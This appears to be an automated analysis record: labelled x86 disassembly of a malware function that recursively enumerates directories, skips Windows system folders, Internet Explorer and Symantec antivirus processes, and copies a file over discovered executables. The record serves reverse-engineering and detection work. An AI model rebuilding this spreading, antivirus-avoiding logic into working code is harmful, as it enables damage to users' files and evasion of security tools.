Function at 0x40161d
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
add esp, 0xfffffff0
push edi
push ebp
push ebx
mov ebx, 0x1f4
push esi
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push ebx
mov esi, eax
mov dword [esp + 0x20], esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push ebx
mov dword [esp + 0x20], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push ebx
mov ebp, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, dword [esp + 0x34]
mov dword [esp + 0x2c], eax
push ebx
push esi
call sub.MSVCRT.dll_strcpy
push str..exe
push esi
call sub.MSVCRT.dll_strcat
push 0x140
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f0]
mov edi, eax
mov esi, dword [sym.imp.MSVCRT.dll__strcmpi]
push ebx
call esi
add esp, 0x2c
test eax, eax
je 0x401967
push dword [0x4040f8]
push ebx
call esi
pop ecx
or eax, eax
pop ecx
je 0x401967
lea eax, [esp + 0x10]
push str.windows
push eax
push ebx
mov dword [esp + 0x1c], 7
call fcn.0040204d
pop ecx
pop ecx
push eax
call esi
pop ecx
pop ecx
or eax, eax
je 0x401967
lea eax, [esp + 0x10]
push str.system32
push eax
push ebx
mov dword [esp + 0x1c], 8
call fcn.0040204d
pop ecx
pop ecx
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x401967
lea eax, [esp + 0x10]
push str.system
push eax
push ebx
mov dword [esp + 0x1c], 6
call fcn.0040204d
pop ecx
pop ecx
push eax
call esi
pop ecx
pop ecx
or eax, eax
je 0x401967
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
je 0x401874
push str.IEXPLORE.EXE
lea ebx, [edi + 0x2c]
push ebx
call esi
pop ecx
test eax, eax
pop ecx
je 0x401854
push str.ccApp.exe
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x401854
push str.ccRegVfy.exe
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x401854
push dword [esp + 0x24]
push ebp
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebp
call sub.MSVCRT.dll_strcat
push ebx
push ebp
call sub.MSVCRT.dll_strcat
mov ebx, dword [esp + 0x34]
push ebp
push ebx
call sub.MSVCRT.dll_strcpy
sub esp, 0xffffffe0
push 0x4040dc
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [eax + ebx - 3]
push eax
call sub.MSVCRT.dll_strcpy
push ebp
call fcn.00401b5c
add esp, 0xc
test al, al
jne 0x401854
push ebp
mov ecx, 0x4040e8
call fcn.004020e2
or al, al
je 0x401854
push dword [0x4040f8]
call sub.MSVCRT.dll_strlen
mov ecx, dword [0x4040e4]
lea eax, [eax + ecx + 0xa]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push dword [0x4040f8]
mov ebx, eax
push ebx
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebx
call sub.MSVCRT.dll_strcat
push dword [0x4040d4]
push ebx
call sub.MSVCRT.dll_strcat
push 0x40406c
push ebx
call sub.MSVCRT.dll_strcat
push 0x4040e0
push ebx
call sub.MSVCRT.dll_strcat
add esp, 0x30
push 0
push ebx
push dword [0x4040f4]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
mov ecx, 0x4040e8
push ebp
call fcn.0040261b
push ebp
push ebx
call fcn.00401ce7
push ebx
call fcn.00401f09
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401870
lea ebx, [edi + 0x2c]
push str.IEXPLORE.EXE
jmp 0x401735
mov ebx, dword [esp + 0x24]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push dword [esp + 0x1c]
call sub.MSVCRT.dll_strcpy
push str..
push dword [esp + 0x24]
call sub.MSVCRT.dll_strcat
add esp, 0x10
push edi
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x401967
mov eax, dword [edi]
and eax, 0x10
cmp al, 0x10
jne 0x401905
push 0x40406c
lea eax, [edi + 0x2c]
push eax
call esi
pop ecx
or eax, eax
pop ecx
je 0x401905
push 0x404060
lea eax, [edi + 0x2c]
push eax
call esi
pop ecx
test eax, eax
pop ecx
je 0x401905
push ebx
mov ebx, dword [esp + 0x18]
push ebx
call sub.MSVCRT.dll_strcpy
push 0x404038
push ebx
call sub.MSVCRT.dll_strcat
lea eax, [edi + 0x2c]
push eax
push ebx
call sub.MSVCRT.dll_strcat
push ebx
call fcn.0040161d
add esp, 0x1c
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401967
mov eax, dword [edi]
and eax, 0x10
cmp al, 0x10
jne 0x401905
lea ebx, [edi + 0x2c]
push 0x40406c
push ebx
call esi
test eax, eax
pop ecx
pop ecx
je 0x401905
push 0x404060
push ebx
call esi
pop ecx
test eax, eax
pop ecx
je 0x401905
push dword [esp + 0x24]
push dword [esp + 0x18]
call sub.MSVCRT.dll_strcpy
push 0x404038
push dword [esp + 0x20]
call sub.MSVCRT.dll_strcat
push ebx
push dword [esp + 0x28]
call sub.MSVCRT.dll_strcat
push dword [esp + 0x2c]
jmp 0x4018fd
push dword [esp + 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [esp + 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [esp + 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
sub esp, 0xffffffec
pop esi
pop ebx
pop ebp
pop edi
add esp, 0x10
ret